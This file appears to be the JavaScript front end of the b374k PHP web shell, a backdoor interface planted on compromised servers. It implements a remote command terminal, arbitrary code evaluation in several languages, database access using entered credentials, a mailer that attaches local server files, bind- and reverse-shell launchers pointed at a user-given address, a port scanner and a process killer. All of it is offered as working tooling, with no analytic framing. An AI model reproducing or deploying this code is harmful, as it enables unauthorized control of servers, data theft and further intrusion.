function xpl_href(el){
|
||
|
return el.parent().parent().attr('data-path');
|
||
|
}
|
||
|
|
||
|
function multimedia(path){
|
||
|
var a = $('video').get(0);
|
||
|
send_post({multimedia:path}, function(res){
|
||
|
a.src = res;
|
||
|
});
|
||
|
hide_box();
|
||
|
}
|
||
|
|
||
|
$('#terminalInput').on('keydown', function(e){
|
||
|
if(e.keyCode==13){
|
||
|
cmd = $('#terminalInput').val();
|
||
|
terminalHistory.push(cmd);
|
||
|
terminalHistoryPos = terminalHistory.length;
|
||
|
if(cmd=='clear'||cmd=='cls'){
|
||
|
$('#terminalOutput').html('');
|
||
|
}
|
||
|
else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
|
||
|
path = $.trim(path[1]);
|
||
|
navigate(path);
|
||
|
}
|
||
|
else if(cmd!=''){
|
||
|
send_post({ terminalInput: cmd }, function(res){
|
||
|
cwd = html_safe(get_cwd());
|
||
|
res = '<span class=\'strong\'>'+cwd+'></span>'+html_safe(cmd)+ '\n' + res+'\n';
|
||
|
$('#terminalOutput').append(res);
|
||
|
bottom = $(document).height()-$(window).height();
|
||
|
$(window).scrollTop(bottom);
|
||
|
});
|
||
|
}
|
||
|
$('#terminalInput').val('');
|
||
|
setTimeout("$('#terminalInput').focus()",100);
|
||
|
}
|
||
|
else if(e.keyCode==38){
|
||
|
if(terminalHistoryPos>0){
|
||
|
terminalHistoryPos--;
|
||
|
$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
|
||
|
if(terminalHistoryPos<0) terminalHistoryPos = 0;
|
||
|
}
|
||
|
}
|
||
|
else if(e.keyCode==40){
|
||
|
if(terminalHistoryPos<terminalHistory.length-1){
|
||
|
terminalHistoryPos++;
|
||
|
$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
|
||
|
if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
|
||
|
}
|
||
|
}
|
||
|
fix_tabchar(this, e);
|
||
|
});
|
||
|
|
||
|
function eval_go(){
|
||
|
evalType = $('#evalType').val();
|
||
|
evalInput = $('#evalInput').val();
|
||
|
evalOptions = $('#evalOptions').val();
|
||
|
evalArguments = $('#evalArguments').val();
|
||
|
|
||
|
if(evalOptions=='Options/Switches') evalOptions = '';
|
||
|
if(evalArguments=='Arguments') evalArguments = '';
|
||
|
|
||
|
if($.trim(evalInput)!=''){
|
||
|
send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
|
||
|
function(res){
|
||
|
if(res!='error'){
|
||
|
splits = res.split('{[|b374k|]}');
|
||
|
if(splits.length==2){
|
||
|
output = splits[0]+"<hr>"+splits[1];
|
||
|
$('#evalOutput').html(output);
|
||
|
}
|
||
|
else{
|
||
|
$('#evalOutput').html(res);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function eval_init(){
|
||
|
if((evalSupported = localStorage.getItem('evalSupported'))){
|
||
|
eval_bind();
|
||
|
output("eval : "+evalSupported);
|
||
|
evalReady = true;
|
||
|
}
|
||
|
else{
|
||
|
send_post({evalGetSupported:"evalGetSupported"}, function(res){
|
||
|
evalReady = true;
|
||
|
if(res!="error"){
|
||
|
localStorage.setItem('evalSupported', res);
|
||
|
evalSupported = res;
|
||
|
eval_bind();
|
||
|
output("eval : "+evalSupported);
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function eval_bind(){
|
||
|
if((evalSupported!=null)&&(evalSupported!='')){
|
||
|
splits = evalSupported.split(",");
|
||
|
$.each(splits, function(i, k){
|
||
|
$('#evalType').append("<option>"+k+"</option>");
|
||
|
});
|
||
|
}
|
||
|
$('#evalType').on('change', function(e){
|
||
|
if($('#evalType').val()=='php'){
|
||
|
$('#evalAdditional').hide();
|
||
|
}
|
||
|
else{
|
||
|
$('#evalAdditional').show();
|
||
|
}
|
||
|
});
|
||
|
$('#evalOptions').on('focus', function(e){
|
||
|
options = $('#evalOptions');
|
||
|
if(options.val()=='Options/Switches') options.val('');
|
||
|
});
|
||
|
$('#evalOptions').on('blur', function(e){
|
||
|
options = $('#evalOptions');
|
||
|
if($.trim(options.val())=='') options.val('Options/Switches');
|
||
|
});
|
||
|
$('#evalArguments').on('focus', function(e){
|
||
|
args = $('#evalArguments');
|
||
|
if(args.val()=='Arguments') args.val('');
|
||
|
});
|
||
|
$('#evalArguments').on('blur', function(e){
|
||
|
args = $('#evalArguments');
|
||
|
if($.trim(args.val())=='') args.val('Arguments');
|
||
|
});
|
||
|
|
||
|
$('#evalInput').on('keydown', function(e){
|
||
|
if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
|
||
|
eval_go();
|
||
|
}
|
||
|
fix_tabchar(this, e);
|
||
|
});
|
||
|
}
|
||
|
Zepto(function($){
|
||
|
$('#decodeStr').on('keydown', function(e){
|
||
|
if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
|
||
|
decode_go();
|
||
|
}
|
||
|
fix_tabchar(this, e);
|
||
|
});
|
||
|
});
|
||
|
|
||
|
function decode_go(){
|
||
|
decodeStr = $('#decodeStr').val();
|
||
|
send_post({decodeStr:decodeStr}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#decodeResult').html('');
|
||
|
$('#decodeResult').html(res);
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
|
||
|
Zepto(function($){
|
||
|
db_init();
|
||
|
|
||
|
});
|
||
|
|
||
|
var dbSupported = "";
|
||
|
var dbPageLimit = 50;
|
||
|
|
||
|
function db_init(){
|
||
|
if((dbSupported = localStorage.getItem('db_supported'))){
|
||
|
db_bind();
|
||
|
output("db : "+dbSupported);
|
||
|
db_add_supported();
|
||
|
}
|
||
|
else{
|
||
|
send_post({dbGetSupported:""}, function(res){
|
||
|
if(res!="error"){
|
||
|
localStorage.setItem('dbSupported', res);
|
||
|
dbSupported = res;
|
||
|
db_bind();
|
||
|
output("db : "+dbSupported);
|
||
|
db_add_supported();
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function db_add_supported(){
|
||
|
splits = dbSupported.split(",");
|
||
|
$.each(splits, function(i, k){
|
||
|
$('#dbType').append("<option>"+k+"</option>");
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function db_bind(){
|
||
|
$('#dbType').on('change', function(e){
|
||
|
type = $('#dbType').val();
|
||
|
if((type=='odbc')||(type=='pdo')){
|
||
|
$('.dbHostLbl').html('DSN / Connection String');
|
||
|
$('.dbUserRow').show();
|
||
|
$('.dbPassRow').show();
|
||
|
$('.dbPortRow').hide();
|
||
|
|
||
|
}
|
||
|
else if((type=='sqlite')||(type=='sqlite3')){
|
||
|
$('.dbHostLbl').html('DB File');
|
||
|
$('.dbUserRow').hide();
|
||
|
$('.dbPassRow').hide();
|
||
|
$('.dbPortRow').hide();
|
||
|
|
||
|
}
|
||
|
else{
|
||
|
$('.dbHostLbl').html('Host');
|
||
|
$('.dbUserRow').show();
|
||
|
$('.dbPassRow').show();
|
||
|
$('.dbPortRow').show();
|
||
|
}
|
||
|
});
|
||
|
|
||
|
$('#dbQuery').on('focus', function(e){
|
||
|
if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
|
||
|
$('#dbQuery').val('');
|
||
|
}
|
||
|
});
|
||
|
$('#dbQuery').on('blur', function(e){
|
||
|
if($('#dbQuery').val()==''){
|
||
|
$('#dbQuery').val('You can also press ctrl+enter to submit');
|
||
|
}
|
||
|
});
|
||
|
$('#dbQuery').on('keydown', function(e){
|
||
|
if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
|
||
|
db_run();
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function db_nav_bind(){
|
||
|
dbType = $('#dbType').val();
|
||
|
$('.boxNav').off('click');
|
||
|
$('.boxNav').on('click', function(){
|
||
|
$(this).next().toggle();
|
||
|
});
|
||
|
|
||
|
$('.dbTable').off('click');
|
||
|
$('.dbTable').on('click', function(){
|
||
|
type = $('#dbType').val();
|
||
|
table = $(this).html();
|
||
|
db = $(this).parent().parent().parent().prev().html();
|
||
|
db_query_tbl(type, db, table, 0, dbPageLimit);
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function db_connect(){
|
||
|
dbType = $('#dbType').val();
|
||
|
dbHost = $('#dbHost').val();
|
||
|
dbUser = $('#dbUser').val();
|
||
|
dbPass = $('#dbPass').val();
|
||
|
dbPort = $('#dbPort').val();
|
||
|
send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#dbNav').html(res);
|
||
|
$('.dbHostRow').hide();
|
||
|
$('.dbUserRow').hide();
|
||
|
$('.dbPassRow').hide();
|
||
|
$('.dbPortRow').hide();
|
||
|
$('.dbConnectRow').hide();
|
||
|
$('.dbQueryRow').show();
|
||
|
$('#dbBottom').show();
|
||
|
db_nav_bind();
|
||
|
}
|
||
|
else $('.dbError').html('Unable to connect');
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function db_disconnect(){
|
||
|
$('.dbHostRow').show();
|
||
|
$('.dbUserRow').show();
|
||
|
$('.dbPassRow').show();
|
||
|
$('.dbPortRow').show();
|
||
|
$('.dbConnectRow').show();
|
||
|
$('.dbQueryRow').hide();
|
||
|
$('#dbNav').html('');
|
||
|
$('#dbResult').html('');
|
||
|
$('#dbBottom').hide();
|
||
|
}
|
||
|
|
||
|
function db_run(){
|
||
|
dbType = $('#dbType').val();
|
||
|
dbHost = $('#dbHost').val();
|
||
|
dbUser = $('#dbUser').val();
|
||
|
dbPass = $('#dbPass').val();
|
||
|
dbPort = $('#dbPort').val();
|
||
|
dbQuery = $('#dbQuery').val();
|
||
|
|
||
|
if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
|
||
|
send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#dbResult').html(res);
|
||
|
$('.tblResult').each(function(){
|
||
|
sorttable.k(this);
|
||
|
});
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function db_query_tbl(type, db, table, start, limit){
|
||
|
dbType = $('#dbType').val();
|
||
|
dbHost = $('#dbHost').val();
|
||
|
dbUser = $('#dbUser').val();
|
||
|
dbPass = $('#dbPass').val();
|
||
|
dbPort = $('#dbPort').val();
|
||
|
|
||
|
send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#dbResult').html(res);
|
||
|
$('.tblResult').each(function(){
|
||
|
sorttable.k(this);
|
||
|
});
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function db_pagination(type){
|
||
|
db = $('#dbDB').val();
|
||
|
table = $('#dbTable').val();
|
||
|
start = parseInt($('#dbStart').val());
|
||
|
limit = parseInt($('#dbLimit').val());
|
||
|
dbType = $('#dbType').val();
|
||
|
|
||
|
if(type=='next'){
|
||
|
start = start+limit;
|
||
|
}
|
||
|
else if(type=='prev'){
|
||
|
start = start-limit;
|
||
|
if(start<0) start = 0;
|
||
|
}
|
||
|
db_query_tbl(dbType, db, table, start, limit);
|
||
|
}
|
||
|
|
||
|
Zepto(function($){
|
||
|
info_init();
|
||
|
|
||
|
});
|
||
|
|
||
|
function info_init(){
|
||
|
if((infoResult = localStorage.getItem('infoResult'))){
|
||
|
$('.infoResult').html(infoResult);
|
||
|
}
|
||
|
else{
|
||
|
info_refresh();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function info_toggle(id){
|
||
|
$('#'+id).toggle();
|
||
|
}
|
||
|
|
||
|
function info_refresh(){
|
||
|
send_post({infoRefresh:'infoRefresh'}, function(res){
|
||
|
$('.infoResult').html(res);
|
||
|
localStorage.setItem('infoResult', res);
|
||
|
});
|
||
|
}
|
||
|
|
||
|
Zepto(function($){
|
||
|
|
||
|
});
|
||
|
|
||
|
function mail_send(){
|
||
|
mailFrom = $.trim($('#mailFrom').val());
|
||
|
mailTo = $.trim($('#mailTo').val());
|
||
|
mailSubject = $.trim($('#mailSubject').val());
|
||
|
mailContent = $('#mailContent').val();
|
||
|
mailAttachment = '';
|
||
|
if($('.mailAttachment')){
|
||
|
mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
|
||
|
}
|
||
|
|
||
|
send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
|
||
|
$('#mailResult').html(res);
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function mail_attach(){
|
||
|
content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
|
||
|
$('#mailTBody').append(content);
|
||
|
}
|
||
|
|
||
|
Zepto(function($){
|
||
|
rs_init();
|
||
|
|
||
|
});
|
||
|
|
||
|
function rs_init(){
|
||
|
if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
|
||
|
splits = evalSupported.split(",");
|
||
|
$.each(splits, function(i, k){
|
||
|
$('.rsType').append("<option>"+k+"</option>");
|
||
|
});
|
||
|
}
|
||
|
else setTimeout('rs_init()', 1000);
|
||
|
|
||
|
$('#packetContent').on('keydown', function(e){
|
||
|
if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
|
||
|
packet_go();
|
||
|
}
|
||
|
fix_tabchar(this, e);
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function rs_go_bind(){
|
||
|
rs_go('bind');
|
||
|
}
|
||
|
function rs_go_back(){
|
||
|
rs_go('back');
|
||
|
}
|
||
|
|
||
|
function rs_go(rsType){
|
||
|
rsArgs = "";
|
||
|
if(rsType=='bind'){
|
||
|
rsPort = parseInt($('#bindPort').val());
|
||
|
rsLang = $('#bindLang').val();
|
||
|
rsArgs = rsPort;
|
||
|
rsResult = $('#bindResult');
|
||
|
}
|
||
|
else if(rsType=='back'){
|
||
|
rsAddr = $('#backAddr').val();
|
||
|
rsPort = parseInt($('#backPort').val());
|
||
|
rsLang = $('#backLang').val();
|
||
|
rsArgs = rsPort + ' ' + rsAddr;
|
||
|
rsResult = $('#backResult');
|
||
|
}
|
||
|
|
||
|
if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
|
||
|
rsResult.html('Invalid port');
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
if(rsArgs!=''){
|
||
|
send_post({ rsLang:rsLang, rsArgs:rsArgs },
|
||
|
function(res){
|
||
|
if(res!='error'){
|
||
|
splits = res.split('{[|b374k|]}');
|
||
|
if(splits.length==2){
|
||
|
output = splits[0]+"<hr>"+splits[1];
|
||
|
rsResult.html(output);
|
||
|
}
|
||
|
else{
|
||
|
rsResult.html(res);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function packet_go(){
|
||
|
packetHost = $('#packetHost').val();
|
||
|
packetStartPort = parseInt($('#packetStartPort').val());
|
||
|
packetEndPort = parseInt($('#packetEndPort').val());
|
||
|
packetTimeout = parseInt($('#packetTimeout').val());
|
||
|
packetSTimeout = parseInt($('#packetSTimeout').val());
|
||
|
packetContent = $('#packetContent').val();
|
||
|
packetResult = $('#packetResult');
|
||
|
packetStatus = $('#packetStatus');
|
||
|
|
||
|
if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
|
||
|
packetResult.html('Invalid start port');
|
||
|
return;
|
||
|
}
|
||
|
if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
|
||
|
packetResult.html('Invalid end port');
|
||
|
return;
|
||
|
}
|
||
|
if((isNaN(packetTimeout))||(packetTimeout<=0)){
|
||
|
packetResult.html('Invalid connection timeout');
|
||
|
return;
|
||
|
}
|
||
|
if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
|
||
|
packetResult.html('Invalid stream timeout');
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
if(packetStartPort>packetEndPort){
|
||
|
start = packetEndPort;
|
||
|
end = packetStartPort;
|
||
|
}
|
||
|
else{
|
||
|
start = packetStartPort;
|
||
|
end = packetEndPort;
|
||
|
}
|
||
|
|
||
|
packetResult.html('');
|
||
|
while(start<=end){
|
||
|
packetPort = start++;
|
||
|
packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
|
||
|
packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);
|
||
|
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
|
||
|
send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
|
||
|
$('#packet'+packetPort).html(res);
|
||
|
}, false);
|
||
|
}
|
||
|
|
||
|
Zepto(function($){
|
||
|
show_processes();
|
||
|
});
|
||
|
|
||
|
function show_processes(){
|
||
|
send_post({showProcesses:''}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#processes').html(res);
|
||
|
sorttable.k($('#psTable').get(0));
|
||
|
ps_bind();
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function ps_bind(){
|
||
|
$('.kill').off('click');
|
||
|
$('.kill').on('click', function(e){
|
||
|
kill_pid(ps_get_pid($(this)));
|
||
|
});
|
||
|
|
||
|
|
||
|
cbox_bind('psTable','ps_update_status');
|
||
|
}
|
||
|
|
||
|
function ps_get_pid(el){
|
||
|
return el.parent().parent().attr('data-pid');
|
||
|
}
|
||
|
|
||
|
function ps_update_status(){
|
||
|
totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
|
||
|
if(totalSelected==0) $('.psSelected').html('');
|
||
|
else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
|
||
|
}
|
||
|
|
||
|
function kill_selected(){
|
||
|
buffer = get_all_cbox_selected('psTable', 'ps_get_pid');
|
||
|
|
||
|
allPid = '';
|
||
|
$.each(buffer,function(i,v){
|
||
|
allPid += v + ' ';
|
||
|
});
|
||
|
allPid = $.trim(allPid);
|
||
|
kill_pid(allPid);
|
||
|
}
|
||
|
|
||
|
function kill_pid(allPid){
|
||
|
title = 'Kill';
|
||
|
content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function kill_pid_go(){
|
||
|
allPid = $('.allPid').val();
|
||
|
if($.trim(allPid)!=''){
|
||
|
send_post({allPid:allPid}, function(res){
|
||
|
if(res!='error'){
|
||
|
$('.boxresult').html(res + ' process(es) killed');
|
||
|
}
|
||
|
else $('.boxresult').html('Unable to kill process(es)');
|
||
|
show_processes();
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
<?php
|
||
|
foreach($GLOBALS['module_to_load'] as $k){
|
||
|
echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }\n";
|
||
|
}
|
||
|
?>
|
||
|
</script>
|
||
|
<!--script end-->
|
||
|
</body>
|
||
|
</html><?php die();?>
|